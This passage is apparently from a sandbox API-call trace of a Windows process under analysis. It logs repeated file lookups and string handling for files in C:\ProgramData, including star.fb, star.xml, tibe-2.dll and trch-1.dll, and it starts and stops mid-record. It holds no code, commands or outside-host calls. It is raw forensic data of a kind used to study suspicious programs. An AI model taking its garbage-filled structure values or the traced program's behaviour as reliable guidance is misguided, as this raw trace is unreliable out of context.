ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.548] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.548] GetLastError () returned 0x12 [0118.548] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.548] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\PROGRA~3", len=0xb | out: pbstr=0x28eefc*="c:\\PROGRA~3") returned 1 [0118.548] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3", psz="c:\\PROGRA~3\\", len=0xc | out: pbstr=0x28f210*="c:\\PROGRA~3\\") returned 1 [0118.548] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="star.fb", len=0x7 | out: pbstr=0x28ef0c*="star.fb") returned 1 [0118.548] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\star.fb", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bf6350, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bf6350, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bf8a60, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0xf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="star.fb", cAlternateFileName="")) returned 0x7632b0 [0118.548] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb4 | out: lpLocalFileTime=0x28eeb4) returned 1 [0118.548] FileTimeToDosDateTime (in: lpFileTime=0x28eeb4, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.548] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.548] SysReAllocStringLen (in: pbstr=0x28eefc*="c:\\PROGRA~3\\", psz="c:\\PROGRA~3\\star.fb", len=0x13 | out: pbstr=0x28eefc*="c:\\PROGRA~3\\star.fb") returned 1 [0118.548] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\star.fb", psz="c:\\PROGRA~3\\star.fb\\", len=0x14 | out: pbstr=0x28f210*="c:\\PROGRA~3\\star.fb\\") returned 1 [0118.548] SysReAllocStringLen (in: pbstr=0x28eef8*=0x0, psz="c:\\PROGRA~3\\star.fb\\", len=0x14 | out: pbstr=0x28eef8*="c:\\PROGRA~3\\star.fb\\") returned 1 [0118.549] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\star.fb\\", psz="c:\\PROGRA~3\\star.fb", len=0x13 | out: pbstr=0x28f210*="c:\\PROGRA~3\\star.fb") returned 1 [0118.549] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\star.fb", cchLength=0x13 | out: lpsz="c:\\progra~3\\star.fb") returned 0x13 [0118.549] SysReAllocStringLen (in: pbstr=0x4620f4*=0x0, psz="c:\\progra~3\\star.fb", len=0x13 | out: pbstr=0x4620f4*="c:\\progra~3\\star.fb") returned 1 [0118.549] SysReAllocStringLen (in: pbstr=0x4620f8*=0x0, psz="c:", len=0x2 | out: pbstr=0x4620f8*="c:") returned 1 [0118.549] SysReAllocStringLen (in: pbstr=0x462118*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x462118*="progra~3") returned 1 [0118.549] SysReAllocStringLen (in: pbstr=0x462138*=0x0, psz="star.fb", len=0x7 | out: pbstr=0x462138*="star.fb") returned 1 [0118.549] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3ataume1", lpUsedDefaultChar=0x0) returned 8 [0118.549] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="star.fb", cchWideChar=7, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="star.fb3ataume1", lpUsedDefaultChar=0x0) returned 7 [0118.549] CharLowerBuffW (in: lpsz="EVB6E5B7.TMP", cchLength=0xc | out: lpsz="evb6e5b7.tmp") returned 0xc [0118.549] SysReAllocStringLen (in: pbstr=0x28f200*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f200*="c:\\programdata\\") returned 1 [0118.549] FindFirstFileW (in: lpFileName="c:\\programdata\\evb6e5b7.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x1d59de1, ftCreationTime.dwLowDateTime=0x13bf8a60, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xf2, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x740073, nFileSizeLow=0x720061, dwReserved0=0x66002e, dwReserved1=0x62, cFileName="", cAlternateFileName="A臌uA((")) returned 0xffffffff [0118.549] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.549] SysReAllocStringLen (in: pbstr=0x28f258*="evb6e5b7.tmp", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.549] SysReAllocStringLen (in: pbstr=0x28f1cc*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f1cc*="programdata") returned 1 [0118.549] SysReAllocStringLen (in: pbstr=0x28f1d4*=0x0, psz="\\device\\harddiskvolume1\\programdata", len=0x23 | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata") returned 1 [0118.549] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\programdata\\", len=0x24 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\") returned 1 [0118.549] SysReAllocStringLen (in: pbstr=0x28f1cc*="programdata", psz="star.fb", len=0x7 | out: pbstr=0x28f1cc*="star.fb") returned 1 [0118.549] SysReAllocStringLen (in: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\star.fb", len=0x2b | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\star.fb") returned 1 [0118.550] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\star.fb\\", len=0x2c | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\star.fb\\") returned 1 [0118.550] SysReAllocStringLen (in: pbstr=0x461fe0*=0x0, psz="\\device\\harddiskvolume1\\programdata\\star.fb\\", len=0x2c | out: pbstr=0x461fe0*="\\device\\harddiskvolume1\\programdata\\star.fb\\") returned 1 [0118.550] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\star.fb\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\programdata\\star.fb\\") returned 0x2c [0118.550] SysReAllocStringLen (in: pbstr=0x462178*=0x0, psz="\\device\\harddiskvolume1\\programdata\\star.fb\\", len=0x2c | out: pbstr=0x462178*="\\device\\harddiskvolume1\\programdata\\star.fb\\") returned 1 [0118.550] SysReAllocStringLen (in: pbstr=0x46219c*=0x0, psz="device", len=0x6 | out: pbstr=0x46219c*="device") returned 1 [0118.550] SysReAllocStringLen (in: pbstr=0x4621bc*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x4621bc*="harddiskvolume1") returned 1 [0118.550] SysReAllocStringLen (in: pbstr=0x4621c8*=0x0, psz="programdata", len=0xb | out: pbstr=0x4621c8*="programdata") returned 1 [0118.550] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\star.fb\\", cchLength=0x29 | out: lpsz="\\device\\harddiskvolume1\\progra~3\\star.fb\\") returned 0x29 [0118.550] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.550] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.550] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.550] CharLowerBuffW (in: lpsz="star.xml", cchLength=0x8 | out: lpsz="star.xml") returned 0x8 [0118.550] CharLowerBuffW (in: lpsz="c:\\programdata\\star.xml", cchLength=0x17 | out: lpsz="c:\\programdata\\star.xml") returned 0x17 [0118.550] CharLowerBuffW (in: lpsz="c:\\programdata\\star.xml", cchLength=0x17 | out: lpsz="c:\\programdata\\star.xml") returned 0x17 [0118.550] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.550] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.550] GetLastError () returned 0x12 [0118.550] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.550] FindFirstFileW (in: lpFileName="c:\\ProgramData\\star.xml", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bf8a60, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bf8a60, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bf8a60, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x14e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="star.xml", cAlternateFileName="")) returned 0x7632b0 [0118.551] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb8 | out: lpLocalFileTime=0x28eeb8) returned 1 [0118.551] FileTimeToDosDateTime (in: lpFileTime=0x28eeb8, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.551] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.551] CharLowerBuffW (in: lpsz="c:\\ProgramData\\star.xml", cchLength=0x17 | out: lpsz="c:\\programdata\\star.xml") returned 0x17 [0118.551] CharLowerBuffW (in: lpsz="c:\\programdata\\star.xml", cchLength=0x17 | out: lpsz="c:\\programdata\\star.xml") returned 0x17 [0118.551] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.551] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.551] GetLastError () returned 0x12 [0118.551] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.551] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\star.xml", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bf8a60, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bf8a60, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bf8a60, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x14e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="star.xml", cAlternateFileName="")) returned 0x7632b0 [0118.551] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb4 | out: lpLocalFileTime=0x28eeb4) returned 1 [0118.551] FileTimeToDosDateTime (in: lpFileTime=0x28eeb4, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.551] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.551] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\star.xml", cchLength=0x14 | out: lpsz="c:\\progra~3\\star.xml") returned 0x14 [0118.551] CharLowerBuffW (in: lpsz="EVBDDC93.TMP", cchLength=0xc | out: lpsz="evbddc93.tmp") returned 0xc [0118.551] FindFirstFileW (in: lpFileName="c:\\programdata\\evbddc93.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x1d59de1, ftCreationTime.dwLowDateTime=0x13bf8a60, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x14e5, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x740073, nFileSizeLow=0x720061, dwReserved0=0x78002e, dwReserved1=0x6c006d, cFileName="", cAlternateFileName="A臌uA((")) returned 0xffffffff [0118.551] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.551] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\star.xml\\", cchLength=0x2d | out: lpsz="\\device\\harddiskvolume1\\programdata\\star.xml\\") returned 0x2d [0118.552] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\star.xml\\", cchLength=0x2a | out: lpsz="\\device\\harddiskvolume1\\progra~3\\star.xml\\") returned 0x2a [0118.552] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.552] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.552] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.552] CharLowerBuffW (in: lpsz="tibe-2.dll", cchLength=0xa | out: lpsz="tibe-2.dll") returned 0xa [0118.552] CharLowerBuffW (in: lpsz="c:\\programdata\\tibe-2.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\tibe-2.dll") returned 0x19 [0118.552] CharLowerBuffW (in: lpsz="c:\\programdata\\tibe-2.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\tibe-2.dll") returned 0x19 [0118.552] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.552] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.552] GetLastError () returned 0x12 [0118.552] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.552] FindFirstFileW (in: lpFileName="c:\\ProgramData\\tibe-2.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bf8a60, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bf8a60, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bfb170, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x20c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tibe-2.dll", cAlternateFileName="")) returned 0x7632b0 [0118.552] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb8 | out: lpLocalFileTime=0x28eeb8) returned 1 [0118.552] FileTimeToDosDateTime (in: lpFileTime=0x28eeb8, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.552] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.552] CharLowerBuffW (in: lpsz="c:\\ProgramData\\tibe-2.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\tibe-2.dll") returned 0x19 [0118.552] CharLowerBuffW (in: lpsz="c:\\programdata\\tibe-2.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\tibe-2.dll") returned 0x19 [0118.552] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.552] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.553] GetLastError () returned 0x12 [0118.553] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.553] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\tibe-2.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bf8a60, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bf8a60, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bfb170, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x20c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tibe-2.dll", cAlternateFileName="")) returned 0x7632b0 [0118.553] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb4 | out: lpLocalFileTime=0x28eeb4) returned 1 [0118.553] FileTimeToDosDateTime (in: lpFileTime=0x28eeb4, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.553] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.553] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\tibe-2.dll", cchLength=0x16 | out: lpsz="c:\\progra~3\\tibe-2.dll") returned 0x16 [0118.553] CharLowerBuffW (in: lpsz="EVB40A65.TMP", cchLength=0xc | out: lpsz="evb40a65.tmp") returned 0xc [0118.553] FindFirstFileW (in: lpFileName="c:\\programdata\\evb40a65.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x1d59de1, ftCreationTime.dwLowDateTime=0x13bfb170, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x20c00, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x690074, nFileSizeLow=0x650062, dwReserved0=0x32002d, dwReserved1=0x64002e, cFileName="ll", cAlternateFileName="A聄uA((")) returned 0xffffffff [0118.553] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.553] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\tibe-2.dll\\", cchLength=0x2f | out: lpsz="\\device\\harddiskvolume1\\programdata\\tibe-2.dll\\") returned 0x2f [0118.553] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\tibe-2.dll\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\progra~3\\tibe-2.dll\\") returned 0x2c [0118.553] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.553] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.553] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.553] CharLowerBuffW (in: lpsz="trch-1.dll", cchLength=0xa | out: lpsz="trch-1.dll") returned 0xa [0118.554] CharLowerBuffW (in: lpsz="c:\\programdata\\trch-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\trch-1.dll") returned 0x19 [0118.554] CharLowerBuffW (in: lpsz="c:\\programdata\\trch-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\trch-1.dll") returned 0x19 [0118.554] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.554] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.554] GetLastError () returned 0x12 [0118.554] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.554] FindFirstFileW (in: lpFileName="c:\\ProgramData\\trch-1.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bfb170, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bfb170, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bfb170, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="trch-1.dll", cAlternateFileName="")) returned 0x7632b0 [0118.554] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb8 | out: lpLocalFileTime=0x28eeb8) returned 1 [0118.554] FileTimeToDosDateTime (in: lpFileTime=0x28eeb8, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.554] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.554] CharLowerBuffW (in: lpsz="c:\\ProgramData\\trch-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\trch-1.dll") returned 0x19 [0118.554] CharLowerBuffW (in: lpsz="c:\\programdata\\trch-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\trch-1.dll") returned 0x19 [0118.554] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.554] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.554] GetLastError () returned 0x12 [0118.554] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.554] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\trch-1.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bfb170, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bfb170, 